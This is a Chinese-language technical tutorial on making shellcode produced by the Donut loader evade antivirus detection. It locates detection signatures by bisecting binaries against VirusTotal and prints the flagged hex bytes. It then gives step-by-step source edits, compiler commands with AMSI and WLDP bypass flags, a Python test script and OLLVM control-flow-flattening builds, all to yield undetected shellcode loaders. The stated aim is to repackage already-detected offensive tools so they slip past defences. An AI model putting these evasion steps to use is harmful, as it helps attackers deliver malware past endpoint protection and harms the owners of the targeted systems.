Donut生成的shellcode免杀
字数 1412 2025-08-05 12:50:33
Donut生成的Shellcode免杀技术详解
1. Donut工具概述
Donut是一个强大的工具,能够将多种文件类型转换为位置无关的shellcode:
- 支持转换的文件类型:VBScript、JScript、EXE、DLL、.NET文件
- 主要用途:将现有被杀的工具转换为shellcode,通过shellcode加载技术、白+黑技术绕过AV检测
2. Donut Shellcode组成分析
Donut生成的shellcode主要由三部分组成:
- 自定位汇编代码
- DONUT_INSTANCE结构数据
- LOADER(加载器)
其中LOADER是一个函数,通过传入DONUT_INSTANCE参数来加载dotnet、pe、script等,其入口为:
HANDLE DonutLoader(PDONUT_INSTANCE inst)
3. 自定位汇编分析(以x86为例)
CALL label
...(DONUT_INSTANCE)
label:
POP ecx
POP edx
PUSH ecx
PUSH edx
...(LOADER)
作用:
- 通过CALL指令获取DONUT_INSTANCE的地址,保存在ecx中
- 调整栈,模拟调用
HANDLE DonutLoader(PDONUT_INSTANCE inst)
4. LOADER免杀分析
4.1 特征定位
通过二分法定位查杀特征:
- 将LOADER保存为data.bin
- 使用VirusTotal扫描不同分段
测试结果示例:
data1.bin - 不杀 (前一半)
data2.bin - 杀 (后一半)
data21.bin - 不杀
data22.bin - 杀
...
data2222222.bin - 杀 (最终定位的特征部分)
特征代码对应的hex:
8B 54 24 0C 8B 44 24 04 56 8B F0 85 D2 74 13 57
8B 7C 24 10 2B F8 8A 0C 37 88 0E 46 83 EA 01 75
F5 5F 5E C3 8A 44 24 08 8B 4C 24 0C 57 8B 7C 24
08 F3 AA 8B 44 24 08 5F C3 8B 44 24 04 8B 4C 24
08 53 8A 10 84 D2 74 0E 8A 19 84 DB 74 08 3A D3
75 04 40 41 EB EC 0F BE 00 0F BE 09 2B C1 5B C3
对应Donut源代码中的三个函数:
MemcpyMemset_strcmp
4.2 免杀方案一:inline函数
修改clib.c代码,将函数改为inline:
inline void * Memset(void * ptr, int value, uint32_t num) // ...
inline void * Memcpy(void * destination, const void * source, uint32_t num) // ...
inline int _strcmp(const char * str1, const char * str2) // ...
修改loader.c,直接包含clib.c:
#include "loader.h"
#include "clib.c" // 添加这行
DWORD MainProc(PDONUT_INSTANCE inst);
重新生成loader_exe_x86.h的步骤:
- 安装VS2022,打开"x86 Native Tools Command Prompt for VS 2022"
- 进入Donut源码目录执行:
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
exe2h.exe loader.exe
4.3 新特征分析
修改后重新编译donut.exe,生成shellcode仍会被检测为HEUR:Trojan.Win64.Donut.b
测试脚本示例:
import re
from io import BytesIO
from pathlib import Path
def get_loader():
data = Path('loader_exe_x86.h').read_text('ascii')
return bytes.fromhex("".join(re.findall(r'0x([0-9a-f]{2})', data)))
def build_loader(data: bytes, noeip=False):
writer = BytesIO()
if noeip:
writer.write(b'\x90') # nop
else:
writer.write(b'\xe8') # call $+datalen
writer.write(int.to_bytes(len(data), 4, 'big'))
writer.write(data)
if noeip:
writer.write(b'\x90' * 4)
else:
writer.write(b'\x59') # pop ecx
writer.write(b'\x5a') # pop edx
writer.write(b'\x51') # push ecx
writer.write(b'\x52') # push edx
writer.write(get_loader()) # LOADER
return writer.getvalue()
Path('test.bin').write_bytes(get_loader())
Path('test1.bin').write_bytes(build_loader(b'\x90'))
Path('test2.bin').write_bytes(build_loader(b'\x90', noeip=True))
Path('test3.bin').write_bytes(build_loader(b'\x90' * 100))
Path('test4.bin').write_bytes(build_loader(b'\x90' * 100, noeip=True))
Path('test5.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024))
Path('test6.bin').write_bytes(build_loader(b'\x90' * 1024 * 1024, noeip=True))
测试结论:
- 单独LOADER不杀
- 自定位+LOADER组合会被杀
- 当数据长度超过1024*1024时不会被杀
4.4 免杀方案二:OLLVM混淆
使用OLLVM的控制流平坦化技术混淆LOADER:
- 修改
clib.c中的Memset函数(LLVM不支持__stosb宏):
inline void * Memset(void * ptr, int value, uint32_t num) {
unsigned char * p = (unsigned char *)ptr;
while(num--) {
*p = (unsigned char)value;
p++;
}
return ptr;
}
- 使用OLLVM重新编译LOADER(x86):
.\clang-cl.exe --target=i686-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj
.\exe2h.exe .\loader.exe
- 生成x64版本(需要从VS目录复制chkstk.obj):
.\clang-cl.exe --target=x86_64-w64-windows-msvc -mllvm -fla -mllvm -split -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -Ob1 -GR- -EHa -Oi -GS- -Gs2147483647 -I include loader\loader.c hash.c encrypt.c loader\depack.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj chkstk.obj
.\exe2h.exe .\loader.exe
- 生成包含OLLVM版LOADER的donut.exe:
rc include/donut.rc
.\clang-cl.exe --target=i686-w64-windows-msvc -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include/donut.res
5. 常见问题解决
-
编译错误:
无法解析的外部符号 _DisableETW:确保使用兼容的Donut版本(1.0版本已验证可用)a parameter list without types:检查头文件中的函数声明是否完整
-
OLLVM问题:
- 如果遇到OLLVM相关问题,可以先使用inline函数方案
- 确保使用兼容的LLVM版本(如ollvm-16)
6. 总结
完整的Donut shellcode免杀流程:
- 分析原始shellcode特征
- 使用inline函数消除已知特征
- 使用OLLVM控制流平坦化技术混淆LOADER
- 重新编译生成免杀版本的donut.exe
关键点:
- 特征定位使用二分法逐步缩小范围
- OLLVM混淆通过随机种子产生不同代码,每次编译可生成不同特征
- 控制流平坦化使代码执行路径难以预测,增强免杀效果